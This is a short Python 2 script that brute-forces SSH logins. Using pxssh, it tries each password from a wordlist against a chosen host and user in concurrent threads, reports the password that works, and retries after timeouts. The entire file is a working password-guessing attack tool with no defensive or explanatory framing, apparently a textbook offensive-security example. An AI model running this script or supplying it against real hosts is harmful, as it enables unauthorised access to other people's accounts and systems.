import pxssh
import optparse
import time
from threading import *
maxConnections = 5
connection_lock = BoundedSemaphore(value=maxConnections)
Found = False
Fails = 0
def connect(host,user,password,release):
    global Found
    global Fails
    try:
        s = pxssh.pxssh()
        s.login(host,user,password)
        print ('[+] Password Found: ' + password)
        Found = True
    except Exception as e:
        if 'read_nonblocking' in str(e):
            Fails += 1
            time.sleep(5)
            connect(host,user,password,False)
        elif 'synchronize with original prompt' in str(e):
            time.sleep(1)
            connect(host,user,password,False)
    finally:
        if release: connection_lock.release()
def main():
    parser = optparse.OptionParser('usage%prog '+'-H <target host> -u <user> -F <password list>')
    parser.add_option('-H',dest='tgtHost',type='string',help='specify the user')
    parser.add_option('-u',dest='user',type='string',help='specify the user')
    parser.add_option('-F',dest='passwdFile',type='string',help='specify password file')
    (options,args) = parser.parse_args()
    host = options.tgtHost
    passwdFile = options.passwdFile
    user = options.user
    if host == None or passwdFile ==None or user==None:
        print parser.usage
        exit(0)
    fn = open(passwdFile,'r')
    for line in fn.readlines():
        if Found:
            print "[*] Exiting: Password Found"
            exit(0)
        if Fails>5:
            print "[!] Exiting: Too Many Socket Timeout"
            exit(0)
        connection_lock.acquire()
        password = line.strip('\r').strip('\n')
        print "[-] Testing: "+str(password)
        t = Thread(target=connect,args=(host,user,password,True))
        child = t.start()
if __name__ == '__main__':
    main()